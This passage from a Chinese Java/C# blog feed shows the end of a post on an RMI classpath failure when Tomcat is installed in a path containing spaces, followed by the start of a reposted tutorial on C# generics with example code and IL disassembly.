&nbsp;&nbsp;&nbsp;&nbsp;<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />&nbsp;</span><span style="color: rgb(0,0,0)">51</span><span style="color: rgb(0,0,0)">&nbsp;more<br />
Caused&nbsp;by:&nbsp;java.net.MalformedURLException:&nbsp;no&nbsp;protocol:&nbsp;Files\<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.net.URL.</span><span style="color: rgb(0,0,0)">&lt;</span><span style="color: rgb(0,0,0)">init</span><span style="color: rgb(0,0,0)">&gt;</span><span style="color: rgb(0,0,0)">(URL.java:</span><span style="color: rgb(0,0,0)">567</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.net.URL.</span><span style="color: rgb(0,0,0)">&lt;</span><span style="color: rgb(0,0,0)">init</span><span style="color: rgb(0,0,0)">&gt;</span><span style="color: rgb(0,0,0)">(URL.java:</span><span style="color: rgb(0,0,0)">464</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.net.URL.</span><span style="color: rgb(0,0,0)">&lt;</span><span style="color: rgb(0,0,0)">init</span><span style="color: rgb(0,0,0)">&gt;</span><span style="color: rgb(0,0,0)">(URL.java:</span><span style="color: rgb(0,0,0)">413</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.rmi.server.LoaderHandler.pathToURLs(LoaderHandler.java:</span><span style="color: rgb(0,0,0)">747</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.rmi.server.LoaderHandler.loadClass(LoaderHandler.java:</span><span style="color: rgb(0,0,0)">147</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.rmi.server.RMIClassLoader$</span><span style="color: rgb(0,0,0)">2</span><span style="color: rgb(0,0,0)">.loadClass(RMIClassLoader.java:</span><span style="color: rgb(0,0,0)">620</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.rmi.server.RMIClassLoader.loadClass(RMIClassLoader.java:</span><span style="color: rgb(0,0,0)">247</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.rmi.server.MarshalInputStream.resolveClass(MarshalInputStream.java:</span><span style="color: rgb(0,0,0)">197</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:</span><span style="color: rgb(0,0,0)">1538</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:</span><span style="color: rgb(0,0,0)">1460</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:</span><span style="color: rgb(0,0,0)">1693</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.io.ObjectInputStream.readObject0(ObjectInputStream.java:</span><span style="color: rgb(0,0,0)">1299</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.io.ObjectInputStream.readObject(ObjectInputStream.java:</span><span style="color: rgb(0,0,0)">339</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.rmi.MarshalledObject.get(MarshalledObject.java:</span><span style="color: rgb(0,0,0)">135</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.jnp.interfaces.NamingContext.getServer(NamingContext.java:</span><span style="color: rgb(0,0,0)">151</span><span style="color: rgb(0,0,0)">)<br />
&nbsp;&nbsp;&nbsp;&nbsp;<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />&nbsp;</span><span style="color: rgb(0,0,0)">57</span><span style="color: rgb(0,0,0)">&nbsp;more</span></div>
可以看到路径被从空格处截断了，致使RMI的server无法找到启动所需要的classpath。<br />
通过查找相关的文档和资料，发现很多人都遇到过类似的问题，其中最有意义的信息是<br />
<div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: rgb(0,0,0)">There&nbsp;is&nbsp;a&nbsp;bug&nbsp;in&nbsp;the&nbsp;JDK&nbsp;which&nbsp;makes&nbsp;RMI&nbsp;fail&nbsp;if&nbsp;Tomcat&nbsp;is&nbsp;installed&nbsp;in&nbsp;directory&nbsp;containing&nbsp;spaces&nbsp;(e.g.&nbsp;C:\Program&nbsp;Files\Apache&nbsp;Group\Jakarta&nbsp;Tomcat&nbsp;5.0).&nbsp;This&nbsp;bug&nbsp;won't&nbsp;be&nbsp;fixed,&nbsp;so&nbsp;you&nbsp;can&nbsp;only&nbsp;workaround&nbsp;it.<br />
<br />
The&nbsp;installation&nbsp;should&nbsp;have&nbsp;checked&nbsp;the&nbsp;folder&nbsp;name&nbsp;for&nbsp;you&nbsp;and&nbsp;promted&nbsp;you&nbsp;to&nbsp;reinstall&nbsp;Tomcat.&nbsp;If&nbsp;you&nbsp;missed&nbsp;that&nbsp;or&nbsp;renamed&nbsp;the&nbsp;folder&nbsp;after&nbsp;you&nbsp;installed&nbsp;KIM,&nbsp;follow&nbsp;the&nbsp;seme&nbsp;advice&nbsp;now:&nbsp;reinstall&nbsp;Tomcat&nbsp;in&nbsp;a&nbsp;folder&nbsp;(using&nbsp;underscores&nbsp;instead&nbsp;of&nbsp;spaces&nbsp;for&nbsp;example)&nbsp;or&nbsp;just&nbsp;rename&nbsp;folders&nbsp;needed&nbsp;so&nbsp;that&nbsp;the&nbsp;full&nbsp;path&nbsp;contains&nbsp;no&nbsp;spaces.&nbsp;Then&nbsp;reinstall&nbsp;KIM&nbsp;too&nbsp;and&nbsp;point&nbsp;it&nbsp;to&nbsp;the&nbsp;new&nbsp;loacation&nbsp;when&nbsp;asked&nbsp;for&nbsp;Tomcat&nbsp;server,&nbsp;or&nbsp;to&nbsp;skip&nbsp;the&nbsp;new&nbsp;install&nbsp;just&nbsp;manually&nbsp;edit&nbsp;your&nbsp;start/stop&nbsp;Tomcat&nbsp;bat/sh&nbsp;files&nbsp;in&nbsp;%KIM_Platform_Home%/bin&nbsp;directory&nbsp;where&nbsp;this&nbsp;path&nbsp;is&nbsp;used.<br />
<br />
For&nbsp;more&nbsp;details&nbsp;refer&nbsp;to:<br />
<br />
http://nagoya.apache.org/bugzilla/show_bug.cgi?id=4543<br />
http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4496398<br />
http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4273532</span></div>
按照上文的意思，这是一个由JDK引起的bug，而且今后也不会被修复。<br />
<br />
但是我们的项目有两个版本，我所做的是WEB版的，而另外一个是独立运行版本。问题就在这儿，那个独立运行的版本安装在带有空格的目录中时依然可以正常工作，但是一旦放到TOMCAT中就不行了。通过反复查看上述报错信息中的各个类文件的报错位置，也未能找到确切的原因。但是因为这些类中有多处使用了ClassLoader，所以怀疑是因为放到TOMCAT中后缺省的ClassLoader和独立运行时不同，造成了在使用RMI相关的操作时出现了一些差别。<br />
</div>
<img src ="http://www.blogjava.net/zqli/aggbug/185411.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-03-11 15:50 <a href="http://www.blogjava.net/zqli/archive/2008/03/11/185411.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]C#泛型编程 </title><link>http://www.blogjava.net/zqli/archive/2008/01/17/175983.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Thu, 17 Jan 2008 08:17:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/01/17/175983.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/175983.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/01/17/175983.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/175983.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/175983.html</trackback:ping><description><![CDATA[<span style="font-family: 宋体">泛型：通过参数化类型来实现在同一份代码上操作多种数据类型。利用&#8220;参数化类型&#8221;将类型抽象化，从而实现灵活的复用。</span>
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt"><strong><span style="font-family: 宋体">例子代码：</span></strong></p>
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left" align="left"><span style="color: blue; font-family: 新宋体">class</span><span style="font-family: 新宋体"> <span style="color: teal">Program</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">static</span> <span style="color: blue">void</span> Main(<span style="color: blue">string</span>[] args)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">int</span> obj = 2;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: teal">Test</span>&lt;<span style="color: blue">int</span>&gt; test = <span style="color: blue">new</span> <span style="color: teal">Test</span>&lt;<span style="color: blue">int</span>&gt;(obj);</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: teal">Console</span>.WriteLine(<span style="color: maroon">"int:"</span> + test.obj);</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">string</span> obj2 = <span style="color: maroon">"hello world"</span>;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: teal">Test</span>&lt;<span style="color: blue">string</span>&gt; test1 = <span style="color: blue">new</span> <span style="color: teal">Test</span>&lt;<span style="color: blue">string</span>&gt;(obj2);</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: teal">Console</span>.WriteLine(<span style="color: maroon">"String:"</span> + test1.obj);</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: teal">Console</span>.Read();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; <span style="color: blue">class</span> <span style="color: teal">Test</span>&lt;T&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> T obj;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> Test(T obj)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">this</span>.obj = obj;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-indent: 18pt"><span style="font-family: 新宋体">}</span></p>
<p style="margin: 0cm 0cm 0pt"><strong><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="font-family: 新宋体">输出结果是：</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; int:2</span></p>
<p style="margin: 0cm 0cm 0pt 21pt"><span style="font-family: 新宋体">String:hello world</span></p>
<p style="margin: 0cm 0cm 0pt 21pt"><strong><span style="font-family: 新宋体">程序分析：</span></strong></p>
<p style="margin: 0cm 0cm 0pt 39pt; text-indent: -18pt; tab-stops: list 39.0pt"><span style="font-family: 新宋体">1、&nbsp;</span><strong><span style="color: red; font-family: 新宋体">Test</span></strong><strong><span style="color: red; font-family: 新宋体">是一个泛型类。T是要实例化的范型类型。</span></strong><span style="font-family: 新宋体">如果T被实例化为int型，那么成员变量obj就是int型的，如果T被实例化为string型，那么obj就是string类型的。</span></p>
<p style="margin: 0cm 0cm 0pt 39pt; text-indent: -18pt; tab-stops: list 39.0pt"><span style="font-family: 新宋体">2、&nbsp;</span><span style="font-family: 新宋体">根据不同的类型，上面的程序显示出不同的值。</span></p>
<p style="margin: 0cm 0cm 0pt 21pt"><strong><span style="font-family: 新宋体">C#</span></strong><strong><span style="font-family: 新宋体">泛型机制：</span></strong></p>
<p style="margin: 0cm 0cm 0pt 21pt"><span style="font-family: 新宋体">C#</span><span style="font-family: 新宋体">泛型能力有CLR在运行时支持：C#泛型代码在编译为IL代码和元数据时，采用特殊的占位符来表示范型类型，并用专有的IL指令支持泛型操作。而真正的泛型实例化工作以&#8220;on-demand&#8221;的方式，发生在JIT编译时。</span></p>
<p style="margin: 0cm 0cm 0pt 21pt"><span style="font-family: 新宋体">看看刚才的代码中Main函数的元数据</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">.method private hidebysig static void&nbsp;Main(string[] args) cil managed</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">{</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;.entrypoint</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;// Code size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 79 (0x4f)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;.maxstack&nbsp;2</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;.locals init ([0] int32 obj,</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [1] class CSharpStudy1.Test`1&lt;int32&gt; test,</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;[2] string obj2,</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [3] class CSharpStudy1.Test`1&lt;string&gt; test1)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0000:&nbsp;nop</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0001:&nbsp;ldc.i4.2</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0002:&nbsp;stloc.0</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0003:&nbsp;ldloc.0</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="color: red; font-family: Fixedsys">&nbsp;IL_0004:&nbsp;newobj&nbsp;&nbsp;&nbsp;&nbsp; instance void class CSharpStudy1.Test`1&lt;int32&gt;::.ctor(!0)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0009:&nbsp;stloc.1</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_000a:&nbsp;ldstr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "int:"</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_000f:&nbsp;ldloc.1</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0010:&nbsp;ldfld&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !0 class CSharpStudy1.Test`1&lt;int32&gt;::obj</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0015:&nbsp;box&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [mscorlib]System.Int32</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_001a:&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string [mscorlib]System.String::Concat(object,</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;object)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_001f:&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void [mscorlib]System.Console::WriteLine(string)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0024:&nbsp;nop</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0025:&nbsp;ldstr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "hello world"</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_002a:&nbsp;stloc.2</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_002b:&nbsp;ldloc.2</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="color: red; font-family: Fixedsys">&nbsp;IL_002c:&nbsp;newobj&nbsp;&nbsp;&nbsp;&nbsp; instance void class CSharpStudy1.Test`1&lt;string&gt;::.ctor(!0)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0031:&nbsp;stloc.3</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0032:&nbsp;ldstr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "String:"</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0037:&nbsp;ldloc.3</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0038:&nbsp;ldfld&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !0 class CSharpStudy1.Test`1&lt;string&gt;::obj</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_003d:&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string [mscorlib]System.String::Concat(string,</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0042:&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void [mscorlib]System.Console::WriteLine(string)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0047:&nbsp;nop</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0048:&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int32 [mscorlib]System.Console::Read()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_004d:&nbsp;pop</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_004e:&nbsp;ret</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">} // end of method Program::Main</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: Fixedsys">&nbsp;&nbsp;&nbsp; </span><span style="font-family: 新宋体">再来看看Test类中构造函数的元数据</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">.method public hidebysig specialname rtspecialname </span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; instance void&nbsp;.ctor(!T obj) cil managed</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">{</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;// Code size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 17 (0x11)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;.maxstack&nbsp;8</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0000:&nbsp;ldarg.0</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0001:&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; instance void [mscorlib]System.Object::.ctor()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0006:&nbsp;nop</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0007:&nbsp;nop</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0008:&nbsp;ldarg.0</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0009:&nbsp;ldarg.1</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="color: red; font-family: Fixedsys">&nbsp;IL_000a:&nbsp;stfld&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !0 class ConsoleCSharpTest1.Test`1&lt;!T&gt;::obj</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_000f:&nbsp;nop</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">&nbsp;IL_0010:&nbsp;ret</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: Fixedsys">} // end of method Test`1::.ctor</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">1</span><span style="font-family: 新宋体">、第一轮编译时，编译器只为Test&lt;T&gt;类型产生&#8220;泛型版&#8221;的IL代码与元数据——并不进行泛型的实例化，T在中间只充当占位符。例如：Test类型元数据中显示的&lt;!T&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">2</span><span style="font-family: 新宋体">、JIT编译时，当JIT编译器第一次遇到Test&lt;int&gt;时，将用int替换&#8220;范型版&#8221;IL代码与元数据中的T——进行泛型类型的实例化。例如：Main函数中显示的&lt;int&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">3</span><span style="font-family: 新宋体">、CLR为所有类型参数为&#8220;引用类型&#8221;的泛型类型产生同一份代码；但是如果类型参数为&#8220;值类型&#8221;，对每一个不同的&#8220;值类型&#8221;，CLR将为其产生一份独立的代码。因为实例化一个引用类型的泛型，它在内存中分配的大小是一样的，但是当实例化一个值类型的时候，在内存中分配的大小是不一样的。</span></p>
<p style="margin: 0cm 0cm 0pt"><strong><span style="font-family: 新宋体">C#</span></strong><strong><span style="font-family: 新宋体">泛型特点：</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">1</span><span style="font-family: 新宋体">、如果实例化泛型类型的参数相同，那么JIT编辑器会重复使用该类型，因此C#的动态泛型能力避免了C++静态模板可能导致的代码膨胀的问题。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">2</span><span style="font-family: 新宋体">、C#泛型类型携带有丰富的元数据，因此C#的泛型类型可以应用于强大的反射技术。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">3</span><span style="font-family: 新宋体">、C#的泛型采用&#8220;基类、接口、构造器，值类型/引用类型&#8221;的约束方式来实现对类型参数的&#8220;显示约束&#8221;，提高了类型安全的同时，也丧失了C++模板基于&#8220;签名&#8221;的隐式约束所具有的高灵活性</span></p>
<p style="margin: 0cm 0cm 0pt"><strong><span style="font-family: 新宋体">C#</span></strong><strong><span style="font-family: 新宋体">泛型继承：</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">C#</span><span style="font-family: 新宋体">除了可以单独声明泛型类型（包括类与结构）外，也可以在基类中包含泛型类型的声明。但基类如果是泛型类，它的类型要么以实例化，要么来源于子类（同样是泛型类型）声明的类型参数，看如下类型</span></p>
